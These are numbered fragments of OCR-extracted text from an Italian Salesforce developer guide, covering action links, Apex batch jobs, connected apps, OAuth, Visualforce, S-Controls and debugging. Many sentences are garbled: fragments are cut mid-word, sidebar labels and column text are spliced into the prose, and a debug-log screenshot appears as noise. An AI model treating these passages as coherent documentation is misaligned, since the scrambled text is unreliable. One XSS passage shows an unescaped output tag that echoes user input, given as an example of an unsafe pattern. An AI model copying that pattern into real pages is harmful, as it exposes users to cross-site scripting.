218. e iniziare con https Questo campo pu contenere variabili di binding nel formato Bindings Key ad esempio https www esempio com Bindings itemId mpostare il valore della variabile di binding collegamento quando si istanzia il gruppo di link azioni dal modello come in questo esempio di API REST Chatter che imposta ilvalore di itemIa su 8675309 POST connect action link group definitions templateld 07gD00000004C9r templateBindings key itemId value 8675309 Questo campo pu contenere anche variabili di contesto Utilizzare le variabili di contesto per passare le informazioni sull utente che ha eseguito il link azione al proprio codice sul lato server Ad esempio questo link azione passa l ID utente dell utente che ha fatto clic sul link azione per rispondere a un sondaggio sul server che ospita il sondaggio actionUrl https example com doSurvey surveyId 1234 amp salesforceUserId userId Immettere il Metodo HTTP da utilizzare per eseguire la richiesta HTTP Facoltativo Se il Tipo di azione Api 0 ApiAsync immettere un Corpo richiesta HTTP Questo campo pu contenere variabili di binding e variabili di contesto Facoltativo Se il Tipo di azione Api 0 ApiAsync immettere le Intestazioni HTTP Questo campo pu contenere variabili di binding e variabili di contesto Se un link azione istanziato da un modello esegue una richiesta a una risorsa Salesforce il
219. e 19 0 e successive L elenco correlato dei batch contiene i campi seguenti riportati in ordine alfabetico Campo Tempo di elaborazione Apex ms Tempo di elaborazione attivo API ms ID batch Ora finale Record non riusciti Descrizione Il numero di millisecondi necessari per l elaborazione dei trigger e di altri processi correlati ai dati del batch In assenza di trigger il valore 0 Non include il tempo utilizzato per l elaborazione di operazioni asincrone e batch Apex Il numero di millisecondi necessari per l elaborazione attiva del batch Include il tempo di elaborazione Apex Non include il tempo di attesa del batch nell area di attesa per l elaborazione o il tempo necessario per la serializzazione e la deserializzazione L ID del batch Pu essere globalmente univoco anche se non necessario La data e l ora di fine dell elaborazione nel fuso orario UTC Valida solo se lo stato Completato Il numero di record del batch non elaborati Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 164 Campo Descrizione Record numero di record del batch elaborati al momento dell invio della richiesta Il numero aumenta via via che vengono elaborati elaborati altri batch Numero di numero di tentativi effettuati da Salesforce per salvare i risultati di un operazione tentativi ripetuti sono causati tentativi da un problema quale un conflitto di blocchi
220. e a un servizio di email esistente e Fare clic su Elimina per eliminare un servizio di email O Nota Prima di eliminare i servizi di email eliminare tutti gli indirizzi del servizio di email associati Al momento di definire i servizi di email tenere presente quanto segue e Un servizio di email elabora solo i messaggi che riceve a uno dei suoi indirizzi e Salesforce limita il numero totale dei messaggi che tutti i servizi di email incluso Email a caso Lightning 107 ID P4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition e Developer Edition L utilizzo dei servizi di email nei pacchetti AppExchange installati disponibile anche nelle versioni Group Edition e Professional Edition ANOLON TAAA ON UTENTE Per configurare i servizi di email e gli indirizzi di servizi di email Apex e Modifica tutti i dati Per creare classi Apex e Apex autore on demand possono elaborare quotidianamente messaggi che superano questo limite vengono rimbalzati scartati o accodati per l elaborazione il giorno successivo a seconda di come si configurano le impostazioni risposta operazione non riuscita per ciascun servizio di email Salesforce calcola questo limite moltiplicando il numero delle licenze utente per 1 000 fino a un limite giornaliero massimo di 1 000 000 Ad esempio se si dispone di 10 lice
221. e che all evolversi di Visualforce dell API e dei componenti Lightning Experience nei pacchetti gestiti nelle versioni successive le pagine e i componenti Visualforce siano sempre collegati alle versioni con un comportamento specifico e noto Disponibile nelle versioni Contact Manager Edition La versione di un pacchetto un numero che rappresenta l insieme di componenti caricati in un Group Edition Professional pacchetto Il numero della versione ha il formato Edition Enterprise Edition majorNumber minorNumber patchNumber ad esempio 2 1 3 In caso di rilascio Performance Edition principale i numeri principale e secondario vengono aumentati a un valore determinato Il Unlimited Edition e patchNumber viene generato e aggiornato soltanto per i rilasci patch Gli autori della Developer Edition pubblicazione possono utilizzare le versioni di pacchetto per far evolvere i componenti dei pacchetti gestiti in modo fluido rilasciando le versioni successive in modo da non interrompere le integrazioni esistenti dei clienti che utilizzano il pacchetto ANOLON TAAA ON UTENTE O Nota componenti dei pacchetti e i componenti personalizzati Visualforce sono concetti diversi Un pacchetto composto da molti elementi quali gli oggetti personalizzati le classi Per creare modificare e e i trigger Apex le pagine e i componenti personalizzati definire le Impostazioni di versione per le pagine Per impostare la versione dell API Sal
222. e ciclo di vita L indicazione di una classe Apex CanvasLifecycleHandler Apex consente di personalizzare le informazioni di contesto e di aggiungere un comportamento personalizzato alla propria applicazione area di disegno 8 Perrendere la propria applicazione installabile dagli utenti finali selezionare la casella di controllo Abilita come app Area di disegno personale La scheda Chatter l unica Posizione che supporta le app Area di disegno personali Per informazioni dettagliate sulle app Area di disegno personali vedere App Area di disegno personali nel manuale Force com Canvas Developer s Guide O Nota se non viene visualizzata l impostazione Abilita come app Area di disegno personale significa che l amministratore dell organizzazione di destinazione dell app non ha abilitato le app Area di disegno personali Per informazioni dettagliate su questo requisito vedere Abilitazione delle app Area di disegno personali all interno di un organizzazione nel manuale Force com Canvas Developer s Guide VEDERE ANCHE Modifica inclusione in un pacchetto o eliminazione di un applicazione connessa Panoramica sulleapplicazioni connesse URL identit Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 176 Modifica inclusione in un pacchetto o eliminazione di un applicazione connessa AUTORIZZAZIONI UTENTE D70 Per leggere Personalizza applicazione Disponibile nelle versioni Salesforce Classi
223. e com id keys La risposta contiene informazioni in formato JSON sulle chiavi pubbliche utilizzate per le firme Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 234 2 Perconvalidare la firma utilizzare la chiave con il valore kid corretto che specifica la versione VEDERE ANCHE Flusso utente agente OAuth 2 0 Flusso di autenticazione server Web OAuth 2 0 URL identit Oltre al token di accesso nell ambito di una risposta del token viene anche restituito un URL identit DAON nel parametro di ambito id L URL identit ad un tempo una stringa che identifica un utente in modo univoco e un API RESTful Disponibile nelle versioni che pu essere utilizzato per richiedere mediante un token di accesso valido ulteriori informazioni Salesforce Classic in merito all utente Salesforce restituisce informazioni di personalizzazione di base sull utente oltre a importanti endpoint con cui il client pu comunicare quali fotografie per l utente ed endpoint dell API a cui pu accedere Disponibile in tutte le versioni L accesso del client all URL identit per un utente in un organizzazione non fornisce l accesso all URL identit per un altro utente della stessa organizzazione a meno che il token associato non soddisfi tutte le condizioni seguenti TANGO NPZZAVA O N UTENTE e Larichiesta OAuth per il token di accesso includeva l ambito full o api Per gestire creare modi
224. e consente DAON di eseguire istruzioni di controllo del flusso e delle transazioni su un server con piattaforma Force com in combinazione con le chiamate all API Force com Mediante una sintassi dall aspetto simile a Java e dal funzionamento simile alle procedure memorizzate in un database Apex consente agli Disponibile nelle versioni Salesforce Classic e sviluppatori di aggiungere una logica applicativa alla maggior parte degli eventi di sistema compresi Lightning Experience i clic sui pulsanti gli aggiornamenti dei record correlati e le pagine Visualforce Apex code pu essere avviato da richieste di servizi Web e da trigger per gli oggetti Disponibile nelle versioni Enterprise Edition Apex pu essere memorizzato sulla piattaforma in due forme diverse Performance Edition e Una classe un modello in base al quale vengono creati gli oggetti Apex Le classi sono Unlimited Edition composte da altre classi metodi definiti dagli utenti variabili tipi di eccezioni e codice di Developer Edition e inizializzazione statico Da Imposta immettere Classi Apex nella casella Ricerca Database com Edition veloce quindi selezionare Classi Apex Vedere Gestione delle classi Apex a pagina 56 e Un trigger un Apex code che viene eseguito prima o dopo che si sono verificati eventi DML Data Manipulation Language specifici ad esempio prima che i record di oggetti vengano inseriti nel database o dopo che i record sono stati elimina
225. e dall impostazione di protezione delle singole classi DAON Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Performance Edition Unlimited Edition Developer Edition Enterprise Edition e Database com Edition L autorizzazione per una classe Apex viene verificata solo al livello massimo Ad esempio se la classe A chiama la classe B e un profilo utente ha accesso soltanto alla classe A ma non alla classe B l utente pu comunque eseguire il codice nella classe A Analogamente se una pagina Visualforce utilizza un componente personalizzato con un controller associato la protezione viene verificata solo per il controller associato alla pagina Il controller associato al componente personalizzato viene eseguito indipendentemente dalle autorizzazioni possibile impostare la protezione per le classi Apex mediante e La pagina di elenco delle classi Apex e Una pagina dei dettagli delle classi Apex Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e e Insiemi di autorizzazioni e Profili VEDERE ANCHE Suggerimenti di protezione per lo sviluppo di Apex e Visualforce http Awww salesforce com us developer docs apexcode index htm Impostazione dell accesso alle classi Apex dalla pagina di elenco della classe 1 Dalmposta immettere Classi Apex nellacasella Ricerca veloce quindi selezionare Classi Apex 2 Fare clic su Protezione accant
226. e iOS O Nota PeriOS 7 e versioni successive necessario specificare lo stesso identificativo bundle utilizzato per sviluppare l app in XCode In caso contrario l utente finale visualizzer due icone dell applicazione durante l installazione dell app Se l applicazione mobile connessa un applicazione pubblica e il suo file binario non stato caricato in Salesforce immettere l URL file binario applicazione in questo punto O Nota Se si rimuove l integrazione mobile da una nuova versione di un applicazione connessa gi esistente tale integrazione non sar pi inclusa in alcuna versione dell applicazione connessa Si immagini ad esempio di pubblicare un pacchetto contenente la versione 1 0 dell applicazione connessa con integrazione mobile Rimuovere quindi l integrazione mobile dall applicazione reinserirla nel pacchetto e pubblicarla come versione 1 1 Se a questo punto un cliente installa il pacchetto precedente con la versione 1 0 l applicazione connessa della versione 1 0 non conterr l integrazione mobile L applicazione connessa pu ricevere le notifiche push se L applicazione basata su Salesforce Mobile SDK L applicazione implementa il protocollo di notifiche push Mobile SDK per la piattaforma dell utente L utente uno sviluppatore registrato presso il provider della piattaforma mobile Apple o Google L applicazione registrata con il servizio di notifica push Apple APNS per le notifiche push iO
227. e il link azioni eseguito dall utente communityId ID della comunit nella quale l utente ha eseguito il link azioni Il valore per l organizzazione interna la chiave vuota 000000000000000000 communityUrl URL della comunit nella quale l utente ha eseguito il link azioni Il valore per l organizzazione interna la stringa vuota orgId ID dell organizzazione nella quale l utente ha eseguito il link azioni userId ID dell utente che ha eseguito il link azioni Si supponga ad esempio di lavorare per un azienda di nome Survey Example e di creare un app per Salesforce AppExchange di nome Survey Example for Salesforce Nell azienda A installata l app Survey Example for Salesforce Supponiamo che un utente dell azienda A acceda a surveyexample com per rispondere a un sondaggio Il codice Survey Example utilizza l API REST Chatter per creare un elemento feed nell organizzazione Salesforce dell azienda A con il corpo del testo Rispondi a un sondaggio e un link azioni con l etichetta OK Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 151 Questo link azioni UI porta l utente da Salesforce a una pagina Web su surveyexample com per rispondere a un sondaggio Se si include una variabile di contesto userId in Corpo richiesta HTTP ol URL azione per quel link azioni quando un utente fa clic sul link azioni nel feed Salesforce invia l ID dell utente che ha fatto clic sulla ri
228. e immettendo il numero della nuova posizione Il processo viene spostato nella posizione specificata a meno che il numero della posizione non sia maggiore del numero di processi nell area di attesa In tal caso il processo viene collocato alla fine dell area di attesa Quando si sposta un processo tutti gli altri processi nell area di attesa Flex vengono riordinati e rinumerati di conseguenza Nota nell interfaccia utente Salesforce il processo in cima all area di attesa Flex si trova in posizione 1 Tuttavia quando si utilizza l area di attesa Flex a livello di programmazione la prima posizione nell area di attesa Flex si trova all indice 0 Quando il sistema seleziona il processo successivo dall area di attesa Flex Apex per l elaborazione esso viene spostato dall area di attesa Flex all area di attesa dei processi batch possibile monitorare il processo spostato nella pagina Processi Apex facendo clic su Processi Apex In alternativa possibile utilizzare i metodi System FlexQueue Apex per riordinare i processi batch nell area di attesa Flex Per testare l area di attesa Flex utilizzare i metodi get FlexQueue0Order e enqueueBatchJobs numberOfJobs nella classe System Test VEDERE ANCHE FlexQueue Class in Force com Apex Code Developer s Guide enqueueBatchJobs number0OfJobs in Force com Apex Code Developer s Guide getFlexQueue0rder in Force com Apex Code Developer s Guide Pianificazione Apex U
229. e in un pacchetto gestito Un icona indica che un componente personalizzato Visualforce di un pacchetto gestito rilasciato in precedenza sar eliminato al prossimo caricamento di pacchetti possibile decidere di annullare l eliminazione del componente personalizzato Visualforce tramite la pagina dei dettagli del pacchetto e Fare clic su Canc per rimuovere un componente personalizzato dall organizzazione O Nota Il prefisso spazio dei nomi viene aggiunto a classi e trigger Apex componenti e pagine Visualforce modelli di marca cartelle S Control risorse statiche link Web e tipi di rapporto personalizzati se sono inclusi in un pacchetto gestito Tuttavia se non si dispone di autorizzazioni per le applicazioni personalizzate il campo del prefisso spazio dei nomi non viene visualizzato per i modelli di marca le cartelle e i tipi di rapporto personalizzati Risorse statiche Definizione di risorsa statica Le risorse statiche consentono di caricare contenuti a cui possibile fare riferimento in una pagina Visualforce compresi archivi quali file zip e jar immagini fogli di stile JavaScript e altri file Anzich caricare un file nella scheda Documenti preferibile utilizzare una risorsa statica per i seguenti motivi e possibile assemblare un insieme di file correlati in una gerarchia di directory e caricare tale gerarchia come archivio zip o jar e possibile fare riferimento a una risorsa statica nel markup di una pagin
230. e l utente pu riprovare Diretta tramite il collegamento a un controller personalizzato Maggior reattivit perch il markup viene generato nella piattaforma Force com Nativo S Control particolare Devono invece scrivere un codice JavaScript che utilizza l API per aggiornare il database con i valori del campo specificati dall utente No necessario importare manualmente i fogli di stile di Salesforce S se codificati in JavaScript tramite la chiamata API describe Se un utente tenta di salvare un record che viola gli attributi di campo di univocit o obbligatoriet viene visualizzato un messaggio di errore solo se lo sviluppatore dell S Control ha scritto un codice che selezionava tali attributi Indiretta con i metodi webService Apex tramite l API Minor reattivit perch ogni chiamata all API richiede un andata e un ritorno al server lo sviluppatore deve perfezionare le prestazioni In un iFrame Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 136 Integrazione di app con Salesforce Panoramica sul Visualizzatore anteprima app Area di disegno Il Visualizzatore anteprima app Area di disegno uno strumento di sviluppo che consente di vedere come appariranno le app area di disegno prima di pubblicarle Per visualizzare le app area di disegno 1 Dalmposta immettere Visualizzatore anteprima app Area di disegno nella casella Ricerca veloce quin
231. e nuovamente all autenticazione quando la sessione scaduta e il client tenta di scambiare i suoi token di aggiornamento con una nuova sessione l valore di timeout disponibile solo per le applicazioni connesse abilitate per OAuth Questo valore imposta la scadenza dei token di accesso per la sessione dell applicazione connessa Se non si imposta alcun valore o se selezionato Nessuno impostazione predefinita Salesforce utilizza il valore di timeout nel profilo utente Se nel profilo non impostato alcun valore Salesforce utilizza il valore di timeout nelle Impostazioni di sessione dell organizzazione Le autorizzazioni correnti per l applicazione connessa sono anche riportate qui n e l applicazione connessa in uso un applicazione area di disegno che utilizza l autenticazione tramite richiesta firmata assicurarsi di Impostare Utenti con autorizzazioni su Gli utenti approvati dall amministratore sono pre autorizzati Impostare Scadenza token di aggiornamento su La prima volta che utilizzano questa applicazione Concedere accesso agli utenti mediante profili e insiemi di autorizzazioni e La policy di livello sessione disponibile per tutte le applicazioni connesse Selezionare Richiesta sessione High Assurance per richiedere agli utenti di immettere un token basato sul tempo durante il login per accedere all applicazione Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app co
232. e utilizzano classi e metodi di output standard le minacce rappresentate dalle vulnerabilit XSS sono state ampiamente limitate Tuttavia gli sviluppatori creativi possono comunque trovare i modi per escludere in modo intenzionale o accidentale i controlli predefiniti Le sezioni che seguono indicano dove presente o meno la protezione Protezione esistente Tutti i componenti Visualforce standard che iniziano con lt apex gt dispongono di filtri anti XSS installati Ad esempio il codice seguente normalmente vulnerabile a un attacco XSS in quanto riceve l input fornito dall utente rimandandogli indietro l output direttamente ma iltag lt apex outputText gt protetto dagli attacchi XSS Tutti i caratteri che hanno l aspetto di tag HTML vengono convertiti al formato letterale Ad esempio il carattere lt viene convertito in amp lt in modo che sulla schermata dell utente venga visualizzato il carattere lt lt apex outputText gt CurrentPage parameters userInput lt apex outputText gt Disabilitazione delle sequenze escape nei tag Visualforce Per impostazione predefinita quasi tutti i tag Visualforce utilizzano la sequenza escape per i caratteri vulnerabili a XSS possibile disabilitare questo comportamento impostando l attributo opzionale escape fa1lse Ad esempio il seguente output vulnerabile agli attacchi XSS lt apex outputText escape false value CurrentPage parameters userInput gt
233. eare un link o pulsante personalizzato per consentire la visualizzazione del Custom S Control da parte degli utenti In alternativa creare una scheda Web utilizzando il Custom S Control aggiungere l S Control a un layout di pagina o aggiungere l S Control a un cruscotto digitale anche possibile utilizzare un S Control come contenuto della Guida in linea per un oggetto personalizzato VEDERE ANCHE Informazioni sugli S Control Visualizzazione e modifica degli S Control S Control utili Ottimizzazione di Salesforce con il codice Informazioni sugli S Control O Importante Le pagine Visualforce sostituiscono gli S Control Le organizzazioni che non hanno mai utilizzato gli S Control non li possono creare Gli S Control esistenti restano invariati e potranno sempre essere modificati Utilizzare gli S Control per aggiungere le proprie funzionalit all organizzazione Salesforce Sia durante l integrazione di un applicazione ospitata che durante l estensione della propria interfaccia utente Salesforce attuale gli S Control consentono di memorizzare il proprio codice o di fare riferimento al codice da un altra posizione Custom S Control possono contenere qualsiasi tipo di contenuto visualizzabile in un browser Web ad esempio un applet Java un controllo Active X un file Excel o un modulo Web HTML personalizzato VEDERE ANCHE Definizione dei Custom S Control S Control utili Cosa dice il confronto tra le pagine Visualforce e gli S Contr
234. easured from the floor to top of the work surface lt apex outputPanel gt lt apex page gt Se il livello organizzazione per l impostazione personalizzata impostato su t rue gli utenti visualizzano il messaggio della guida esteso per impostazione predefinita Se un individuo preferisce non visualizzare i messaggi della guida pu impostare la propria impostazione personalizzata su false in modo da sostituire il valore dell organizzazione o del profilo Le impostazioni personalizzate di tipo elenco non sono disponibili nelle pagine Visualforce utilizzando questa variabile globale Si pu accedere alle impostazioni personalizzate elenco in Apex Suggerimenti Questa variabile globale disponibile nelle pagine Visualforce nei campi formula nelle regole di convalida nelle formule del flusso e nelle formule del processo Site Descrizione Tipo di campo di unione globale da utilizzare quando si fa riferimento alle informazioni sul sito Force com corrente Utilizzo Utilizzare la notazione del punto per accedere alle informazioni sul sito Force com corrente Tenere presente che sono disponibili solo i seguenti campi del sito Campo unione Descrizione Site Name Restituisce il nome API del sito corrente Site Domain Restituisce il nome di dominio Force com per l organizzazione Site CustomWebAddress Restituisce l URL personalizzato della richiesta se non termina con force com oppure restituisce l URL personalizzato principale de
235. ector Controllo registri La prospettiva un layout di riquadri nel Log Inspector Controllo registri della Console sviluppatore Per qualsiasi operazione nel Log Inspector Controllo registri assicurarsi di scegliere la prospettiva corretta per il lavoro Per gestire le prospettive fare clic su Debug gt Perspective Manager Gestione prospettive e Per passare a una prospettiva diversa fare doppio clic sul nome della prospettiva oppure selezionarla e fare clic su Open Apri e Per modificare la prospettiva predefinita selezionare il nome della prospettiva e fare clic su Set Default Imposta come predefinita e Pereliminare una prospettiva selezionare il nome della prospettiva e fare clic su Delete Elimina e Percreare una prospettiva personalizzata vedere Creazione di prospettive personalizzate nel Log Inspector Controllo registri Le seguenti prospettive sono predefinite e All Tutte l impostazione predefinita Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione del debug tramite la Console sviluppatore 274 Execution Tree Performance Tree Timestamp Event Details Cont Unit Duration Heap 11 04 55 086 EXECUTION_ST ati 0 Source for _ui common apex debug Z 69 _uifcommon 31 48 2534 11 04 55 086 CODE_UNIT_ST EXTERNAL Jexecute B exeate_ 3143 2534 11 04 55 086 VARIABLE_SCO 1 icharactersiL sT lt s lt Emm 11 04 55 108 HEAP_ALLOCATE EXTERNAL Bytes
236. ecuzione dei test vedere Creazione di una serie di test nella Guida in linea e Running Unit Test Methods nel manuale Force com Apex Code Developer s Guide Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione dei test Apex 299 Opzione test di sequenza di numerazione automatica indipendente Per evitare interruzioni nei campi a numerazione automatica nei record dell organizzazione causati dai record di prova creati nei test Apex fare clic su Opzioni selezionare Sequenza di numerazione automatica indipendente e quindi su OK Questa opzione isola la sequenza di numerazione automatica utilizzata nei test Apex dalla sequenza utilizzata nell organizzazione Di conseguenza la creazione dei dati di prova nei test Apex non genera una sequenza dei campi a numerazione automatica pi alta per i nuovi record non di prova nell organizzazione Se questa opzione non viene abilitata vi saranno delle interruzioni nei campi a numerazione automatica ogni volta che i test Apex creano dei record di prova con campi a numerazione automatica Ad esempio se Account possiede un campo a numerazione automatica e nell organizzazione vi sono 50 record account il valore di campo dell ultimo account creato pu essere N 0050 Dopo l esecuzione di un test Apex che crea cinque account di prova la sequenza di numerazione automatica viene aumentata di cinque anche se questi record di prova non sono vincolati al database e sono stati ritirati Alla succe
237. ecuzioni Execution Log Registro esecuzioni ed Execution Overview Panoramica esecuzioni Execution Tree Performance Tree Timestamp Event Details Unit Duration Heap 13 13 39 084 EVECUTIONLST R amp _ui common apex debu 105 36 2540 13 13 39 084 CODE_UNIT_ST EXTERNAL lexecute_anonymous_apex E 13 13 39 084 VARIABLE_SCO 1 Jcharacters LIST lt String gt true false 13 13 39 140 HEAP_ALLOCATE EXTERNAL Bytes 7 CENE 13 13 39 140 HEAP_ALLOCATE EXTERNAL Bytes 13 13 13 39 140 STATEMENT_EX 1 Duration Heap 13 13 39 140 STATEMENT_EX 1 0 10 0 a 13 13 39 140 HEAP_ALLOCATE 1 Bytes 4 PET a g i 1 Bytes saanane meremas ooet Ts aia D 0 10 o G 0 13 0 This Frame IC Executable Debug Only Ul Filter Execution Overview Save Order Limits Timeline Executed Units Ava Max Min Count Heap Query Type Sum rows Avg rows Max rows Min row 0 12 0 20 0 07 5 0 n a n a n a nja n a 0 27 1 01 0 10 8 0 n a n a nfa n a n a 105 30 105 30 105 30 1 2540 n a n a n a nja n a 105 36 105 36 105 36 1 0 n a n a nfa n a nja 0 11 0 13 0 10 4 o n a n a n a n a n a 0 10 0 10 0 10 1 o n a n a nfa nja n a What Name Sum Method size 0 58 Method debug 2 12 Method execute_a 105 30 Method _uifcommo 105 36 Method add 0 46 Method 0 10 Show Methods Queries Workflow Callouts DML Validations Triggers Pages Utilizzare una prospettiva che
238. efiniti in questa sezione Questi campi ora sono disponibili in Impostazioni app Web e Impostazioni app mobile API Abilita impostazioni OAuth Questa sezione controlla in che modo l applicazione comunica con Salesforce Selezionare Abilita impostazioni OAuth per configurare le impostazioni di autenticazione 1 Immettere l URL di richiamata endpoint con cui Salesforce effettua la richiamata all applicazione durante OAuth il valore redirect uri di OAuth A seconda del flusso OAuth utilizzato in genere questo l URL al quale viene reindirizzato il browser di un utente dopo un autenticazione completata correttamente Poich questo URL viene utilizzato per alcuni flussi OAuth per il passaggio di un token di accesso l URL deve utilizzare HTTP protetto HTTPS o uno schema URI personalizzato Se si immettono pi URL di richiamata al momento dell esecuzione Salesforce cerca la corrispondenza tra il valore dell URL di richiamata specificato dall applicazione e uno dei valoriin URL di richiamata Peressere convalidato deve corrispondere a uno dei valori Se si utilizza il flusso OAuth JWT selezionare Usa firme digitali Se l applicazione utilizza un certificato fare clic su Scegli file e selezionare il file del certificato Aggiungere tutti gli ambiti OAuth supportatia Ambiti OAuth selezionati Questi ambiti si riferiscono alle autorizzazioni concesse dall utente che esegue l applicazione connessa e sono seguiti dal rispettivo nome de
239. egistrazioni sono ridotte al minimo e prevedono solo la registrazione degli errori della categoria Apex Code Trigger2 eredita queste impostazioni di registro da Class2 Regolazione della registrazione debug per classi e trigger UtilityClass Raised Default Log Log Levels Database FINEST Filters Inherited Log Settings Database FINEST Database NONE Apex Code FINEST Apex Code FINEST Apex Code NONE Triggeri Apex Profiling FINEST Apex Profiling FINEST Apex Profiling NONE Database INFO Apex Code DEBUG Apex Profiling INFO I Class2 Trigger2 Minima pet 999 N9 Database NONE Inherited Log Settings Database NONE Apex Code ERROR Apex Code ERROR Apex Profiling NONE Apex Profiling NONE Segue un esempio di pseudocodice su cui basato il diagramma Ottimizzazione di Salesforce con il codice Guida dell utente Test 295 1 Triggerl chiama un metodo di Class1 e un altro metodo di Class2 Ad esempio trigger Triggerl on Account before insert Classl someMethod Class2 anotherMethod 2 Class1 chiama un metodo di Class3 che a sua volta chiama un metodo di una classe di utilit Ad esempio public class Classl public static void someMethod Class3 thirdMethod public class Class3 public static void thirdMethod UtilityClass doSomething 3 Class2 causa l esecuzione di un trigger Trigger2 Ad esempio public class Class2 public static void
240. ell utente Componenti Apex Visualforce e Lightning 71 Visualizzazione e modifica delle pagine Visualforce Da Imposta immettere Pagine Visualforce nella casella Ricerca veloce quindi EDIZIONI selezionare Pagine Visualforce e fare clic sul nome di una pagina Visualforce per visualizzarne i dettagli compresa la data di creazione la data dell ultima modifica e il markup Visualforce associato Disponibile nelle versioni alla pagina Salesforce Classic e Dalla pagina dei dettagli possibile effettuare una delle operazioni seguenti Lightning Experience e Fare clic su Modifica per modificare il markup della pagina esistente Disponibile nelle versioni e Fare clic su Elimina per eliminare la pagina Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition e Fare clic su Dove si utilizza per visualizzare l elenco di tutti i riferimenti alla pagina Unlimited Edition e nell organizzazione Developer Edition e Fare clic su Clona per creare una copia della pagina necessario specificare un nome per la nuova pagina e Fare clic su Mostra dipendenze per visualizzare gli elementi quali campi oggetti o altre classi la cui esistenza consente la validit di questa classe AUTORIZZAZIONI e Fare clic su Anteprima per aprire l articolo in una nuova finestra UTENTE Nota Se la pagina Visualforce contenuta in un pacchetto gestito installato possibile solo Per clonare modifi
241. ella pagina 7 Selezionare Disponibile per le applicazioni mobili Salesforce perabilitare le schede Visualforce associate alla pagina Visualforce da visualizzare nell applicazione Salesforce1 Questa casella di controllo disponibile per le pagine impostate sull API versione 27 0 e successive O Nota Le schede di oggetti standard sostituite da una pagina Visualforce non sono supportate in Salesforce1 nemmeno se si seleziona l opzione Disponibile per le applicazioni mobili Salesforce perla pagina La pagina predefinita di Salesforce1 per l oggetto viene visualizzata invece della pagina Visualforce Questa opzione non ha effetto sul supporto di Visualforce nell applicazione Salesforce Classic mobile Utilizzare invece la casella di controllo Pronto per Salesforce Classic Mobile nelle pagine di impostazione della scheda Visualforce 8 Selezionare Richiedi protezione dal CSRF sulle richieste GET per abilitare la protezione dal CSRF Cross Site Request Forgery per le richieste GET della pagina Quando selezionata questa opzione protegge dagli attacchi CSRF modificando la pagina in modo che richieda un token CSRF di conferma cio una stringa casuale di caratteri nei parametri dell URL Con ogni richiesta GET Visualforce controlla la validit di questa stringa di caratteri e carica la pagina solo se il valore rilevato corrisponde a quello atteso Selezionare questa casella se la pagina esegue qualsiasi operazione DML durante il caricamento in
242. eloper Edition e Database com Edition Anche se un processo pianificato appare sia nella pagina Processi Apex che nella pagina Processi pianificati viene conteggiato solo una volta per il limite di esecuzione Apex asincrona e processi batch di ricalcolo della condivisione Apex che non hanno ancora terminato l esecuzione Questi processi sono elencati come Ricalcolo condivisione nella colonna Tipo di processo record del processo di ricalcolo della condivisione vengono automaticamente suddivisi in batch La colonna Batch totali elenca il numero totale di batch per ogni processo La colonna Batch elaborati riporta il numero di batch che sono gi stati elaborati e processi batch Apex che non hanno ancora terminato l esecuzione Questi processi sono elencati come Batch Apex nella colonna Tipo di processo record in un processo batch Apex vengono automaticamente suddivisi in batch La colonna Batch totali elenca il numero totale di batch per ogni processo La colonna Batch elaborati riporta il numero di batch che sono gi stati elaborati O Nota processi batch di ricalcolo della condivisione sono attualmente disponibili con un programma di rilascio limitato Per informazioni sull abilitazione dei processi batch di ricalcolo della condivisione Apex per la propria organizzazione contattare Salesforce In questa tabella sono elencati tutti i possibili valori per lo stato dei processi La colonna Stato riporta lo stato corrente del
243. eloper Edition o un Sandbox YANG IO NPZZAVA O N UTENTE Per creare le Schede Componente Lightning e Personalizza applicazione Eseguire le operazioni descritte di seguito per includere i propri componenti in Lightning Experience e renderli disponibili agli utenti nella propria organizzazione 1 Creare una scheda personalizzata per il componente To 9 Fare clic su Nuova nell elenco correlato Schede Componente Lightning Selezionare il componente Lightning che si desidera rendere disponibile agli utenti 2 nN Immettere l etichetta da visualizzare sulla scheda D Selezionare lo stile della scheda e fare clic su Avanti Da Imposta immettere Schede nella casella Ricerca veloce quindi selezionare Schede f Quando viene richiesto di aggiungere la scheda ai profili accettare le impostazioni predefinite e fare clic su Salva Ottimizzazione di Salesforce con il codice 2 Assegnare il proprio componente Lightning a un app personalizzata a Creare un app personalizzata e assegnarle il nome Lightning b Selezionare l app Lightning creata e fare clic su Modifica Guida dell utente Componenti Apex Visualforce e Lightning 92 c Nella pagina di modifica dell app personalizzata selezionare i componenti da includere fare clic su Aggiungi e quindi su Salva 3 Verificare il risultato accedendo al Programma di avvio app in Lightning Experience L applicazione personalizzata dovrebbe essere visualizzata ne
244. enti e Feed Chatter L applicazione area di disegno viene visualizzata nel feed Se selezionata questa opzione necessario creare un elemento feed CanvasPost e verificare che l utente corrente abbia accesso all applicazione area di disegno Guida dell utente Integrazione di app con Salesforce 174 Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 175 e Scheda Chatter L applicazione area di disegno viene visualizzata nell elenco di navigazione delle applicazioni nella scheda Chatter Se questa opzione selezionata l applicazione area di disegno viene visualizzata in quel punto automaticamente e Console L applicazione area di disegno appare nel pi di pagina o nelle intestazioni laterali di una Salesforce Console Se questa opzione selezionata necessario scegliere la posizione in cui l applicazione area di disegno deve apparire in una console aggiungendola come componente personalizzato della console e Layouteschede mobili L applicazione area di disegno pu essere visualizzata su un layout di pagina o su una scheda mobile Se selezionata questa opzione possibile scegliere dove visualizzare l applicazione area di disegno aggiungendola al layout di pagina e Navigazione mobile L applicazione area di disegno accessibile dal menu di navigazione in Salesforce1 Nota le app Area di disegno non vengono visualizzate nel menu di navigazione di Salesforce1 sui dispo
